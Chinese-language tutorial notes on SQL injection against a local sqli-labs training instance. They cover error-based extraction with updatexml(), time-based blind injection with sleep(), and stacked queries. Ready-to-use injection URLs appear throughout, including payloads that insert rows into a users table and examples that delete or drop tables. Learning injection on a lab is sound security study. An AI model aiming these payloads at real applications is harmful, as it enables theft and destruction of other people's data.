报错注入
# 正常访问 http://127.0.0.1/sqli/Less-5/?id=1
# 错误访问 http://127.0.0.1/sqli/Less-5/?id=1'
它直接将返回的结果返回给我们，此处可以利用报错注入获取信息。报错注入有多种方式
以下使用updatexml() 获取信息
# 获取用户信息 http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
# 获取当前数据库 http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
继续利用select 获取库名，表名，字段名
# 获取库名 http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
# 查询表名 http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+
时间注入
if(条件,5,0) #条件成立 返回5 反之 返回0 sleep(5) #SQL语句延时执行5秒 if (length(database())>1,sleep(5),1) 意思是 如果数据库长度大于1 休眠五秒在操作，否则查询1
# 使用时间盲注判断库名是否为s http://127.0.0.1/sqli/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(5),1)--+
可以看到响应时间为7000ms 7秒 说明执行成功了 结合burp 暴力猜解字符获取数据名数据表字段名
堆叠查询注入
堆叠注入：从名词的含义就可以看到应该是一堆 sql 语句（多条）一起执行
在 SQL 中，分号（;）是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而 union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于 union 或者 union all 执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。
例如以下这个例子
用户输入：1; DELETE FROM products
服务器端生成的 sql 语句为：（因未对输入的参数进行过滤）
Select * from products where productid=1;DELETE FROM products
堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到 API 或者数据库引擎 不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
eg: # 新建一个表 select * from users where id=1;create table test like users;
# 删除上面新建的 test 表 select * from users where id=1;drop table test;
堆叠注入 http://127.0.0.1/sqli/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
username: admin password: a';insert into users(id,username,password) values ('44','less44','hello')#
